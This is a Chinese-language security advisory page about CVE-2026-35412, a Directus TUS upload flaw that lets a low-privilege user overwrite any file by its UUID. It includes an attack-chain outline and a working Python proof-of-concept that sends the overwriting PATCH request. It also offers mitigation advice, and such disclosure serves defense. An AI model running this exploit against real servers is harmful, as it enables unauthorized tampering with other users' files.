IPBUF安全漏洞报告
English
CVE-2026-35412 CVSS 7.1 高危

CVE-2026-35412 Directus 任意文件覆盖漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35412
漏洞类型
访问控制失效
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Directus

相关标签

权限绕过文件覆盖Directus访问控制失效CVE-2026-35412

漏洞概述

Directus是一款用于管理SQL数据库内容的实时API和应用仪表板。在11.16.1版本之前,其TUS可恢复上传端点存在严重的权限绕过漏洞。任何拥有基本文件上传权限的认证用户,均可利用该漏洞通过UUID覆盖任意现有文件。由于TUS控制器仅执行集合级别的授权检查,而未验证对特定文件的项级访问权限,导致原本旨在限制用户只能更新自己文件的行级权限规则被完全绕过。

技术细节

Directus的文件上传功能支持TUS(Resumable Upload Protocol)协议,对应的端点为`/files/tus`。在受影响的版本中,该端点的控制器在进行权限验证时存在逻辑缺陷。它仅检查用户是否对`directus_files`集合拥有通用的上传或修改权限,而没有进一步检查用户是否有权限修改目标UUID所对应的特定文件记录。这与标准的REST上传路径形成了鲜明对比,后者正确实施了行级权限控制。因此,攻击者只要获得了基础的文件上传权限,就可以构造恶意请求,指定系统中任意文件的UUID进行覆盖写入操作。这种行为不仅破坏了数据的完整性(I:H),还可能通过覆盖关键配置文件或脚本导致拒绝服务(A:L),从而对系统安全造成严重威胁。

攻击链分析

STEP 1
步骤1:获取认证
攻击者注册或使用一个拥有基本文件上传权限的低权限账号,并登录获取JWT Token。
STEP 2
步骤2:识别目标
攻击者通过枚举或其他方式获取目标系统内想要覆盖的文件的UUID。
STEP 3
步骤3:发送恶意请求
攻击者构造TUS协议的PATCH请求,目标指向`/files/tus/{target_uuid}`,并在请求头中携带认证Token,附上恶意文件内容。
STEP 4
步骤4:覆盖文件
由于TUS控制器仅验证集合权限,攻击者成功绕过行级权限检查,将指定UUID对应的文件内容覆盖为恶意内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "http://localhost:8080" LOGIN_URL = f"{TARGET_URL}/auth/login" TUS_URL = f"{TARGET_URL}/files/tus" # User credentials (Low privilege user with upload permission) USERNAME = "[email protected]" PASSWORD = "password" # The UUID of the file we want to overwrite TARGET_FILE_UUID = "00000000-0000-0000-0000-000000000001" # 1. Authenticate to get a token session = requests.Session() auth_payload = {"email": USERNAME, "password": PASSWORD} auth_response = session.post(LOGIN_URL, json=auth_payload) if auth_response.status_code != 200: print("Authentication failed") exit(1) access_token = auth_response.json().get('data', {}).get('access_token') print(f"Access Token: {access_token}") # 2. Prepare TUS upload headers to overwrite file # The vulnerability allows overwriting any file UUID without item-level permission check headers = { "Authorization": f"Bearer {access_token}", "Upload-Offset": "0", "Content-Type": "application/offset+octet-stream", "Tus-Resumable": "1.0.0" } # Malicious content to write malicious_content = b"This file has been overwritten by an attacker." # 3. Send PATCH request to the specific UUID exploit_url = f"{TUS_URL}/{TARGET_FILE_UUID}" response = requests.patch(exploit_url, headers=headers, data=malicious_content) if response.status_code in [200, 201, 204]: print(f"[+] Success! File {TARGET_FILE_UUID} has been overwritten.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text)

影响范围

Directus < 11.16.1

防御指南

临时缓解措施
如果无法立即升级,建议通过Web应用防火墙(WAF)限制对`/files/tus`端点的访问,特别是针对PATCH方法的请求。同时,应仔细审查并收紧`directus_files`集合的权限配置,仅向绝对信任的用户授予上传权限,以减少潜在的攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表